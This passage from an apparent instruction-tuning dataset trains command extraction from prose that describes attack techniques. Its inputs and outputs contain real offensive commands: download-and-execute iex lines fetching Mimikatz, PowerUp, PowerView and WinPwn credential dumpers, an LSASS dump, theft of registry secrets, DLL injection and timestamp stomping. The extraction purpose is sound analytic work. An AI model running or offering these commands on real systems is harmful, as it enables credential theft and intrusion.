    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract credentials from memory using Powershell, run the following command which invokes a remote Mimikatz script: IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds; To generate an LSASS dump using the .NET createdump utility, run the following command: $exePath =  resolve-path \"$env:ProgramFiles\\dotnet\\shared\\Microsoft.NETCore.App\\5*\\createdump.exe\"\n& \"$exePath\" -u -f $env:Temp\\dotnet-lsass.dmp (Get-Process lsass).id",
    "output": "{\"command_list\": [\"IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds\\n\", \"$exePath =  resolve-path \\\"$env:ProgramFiles\\\\dotnet\\\\shared\\\\Microsoft.NETCore.App\\\\5*\\\\createdump.exe\\\"\\n& \\\"$exePath\\\" -u -f $env:Temp\\\\dotnet-lsass.dmp (Get-Process lsass).id\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For scanning ports to identify listening services on the local host, run the command: nmap #{host_to_scan}; To scan ports and check for listening services, use the following Python command: python \"#{filename}\" -i #{host_ip}\n",
    "output": "{\"command_list\": [\"nmap #{host_to_scan}\", \"python \\\"#{filename}\\\" -i #{host_ip}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Python's tarfile module, you can compress files by executing:\nwhich_python=`which python || which python3`\n$which_python -c \"import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()\"; This technique requires Windows 10 and allows DLL injection into a running process with the command: mavinject.exe #{process_id} /INJECTRUNNING \"#{dll_payload}\"\n",
    "output": "{\"command_list\": [\"which_python=`which python || which python3`\\n$which_python -c \\\"import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()\\\" \\n\", \"mavinject.exe #{process_id} /INJECTRUNNING \\\"#{dll_payload}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To loot local credentials using the Invoke-WCMDump technique from WinPwn, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\nInvoke-WCMDump; To stomp on the access timestamp of a file, use the following command: touch -a -t 197001010000.00 #{target_filename}\n",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\\nInvoke-WCMDump\", \"touch -a -t 197001010000.00 #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting stored credentials in Group Policy files, use this PowerShell command from a workstation: . \"#{gpp_script_path}\"\nGet-GPPPassword -Verbose, which will either reveal found credentials or report no files were located.; To extract sensitive information from the Windows registry, use the following command: \"#{psexec_exe}\" -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y. This will save the secrets key to a temporary file for further analysis.",
    "output": "{\"command_list\": [\". \\\"#{gpp_script_path}\\\"\\nGet-GPPPassword -Verbose\\n\", \"\\\"#{psexec_exe}\\\" -accepteula -s reg save HKLM\\\\security\\\\policy\\\\secrets %temp%\\\\secrets /y\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry entries under App Paths serve to associate executables with their full paths and adjust PATH variables. For this test, modifying these entries will launch notepad instead of the intended application when executed, which can be done with the command: reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\#{app_name}\" /t REG_SZ /d #{new_path} /f; This technique involves creating a fake parent directory and running a process from it with these commands:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\#{app_name}\\\" /t REG_SZ /d #{new_path} /f\\n\", \"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify Windows systems vulnerable to BlueKeep within the domain, you can utilize the bluekeep function of WinPwn by running the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbluekeep -noninteractive -consoleoutput; For scanning web applications with known vulnerabilities, run the following WinPwn fruit function command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nfruit -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nbluekeep -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nfruit -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the Domain Controller using PowerView, run the following command which will display relevant information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose; To list all Systems from Active Directory along with their paths, use the following PowerShell command: try { get-wmiobject -class ds_computer -namespace root\\directory\\ldap -ErrorAction Stop }\ncatch { $_; exit $_.Exception.HResult }",
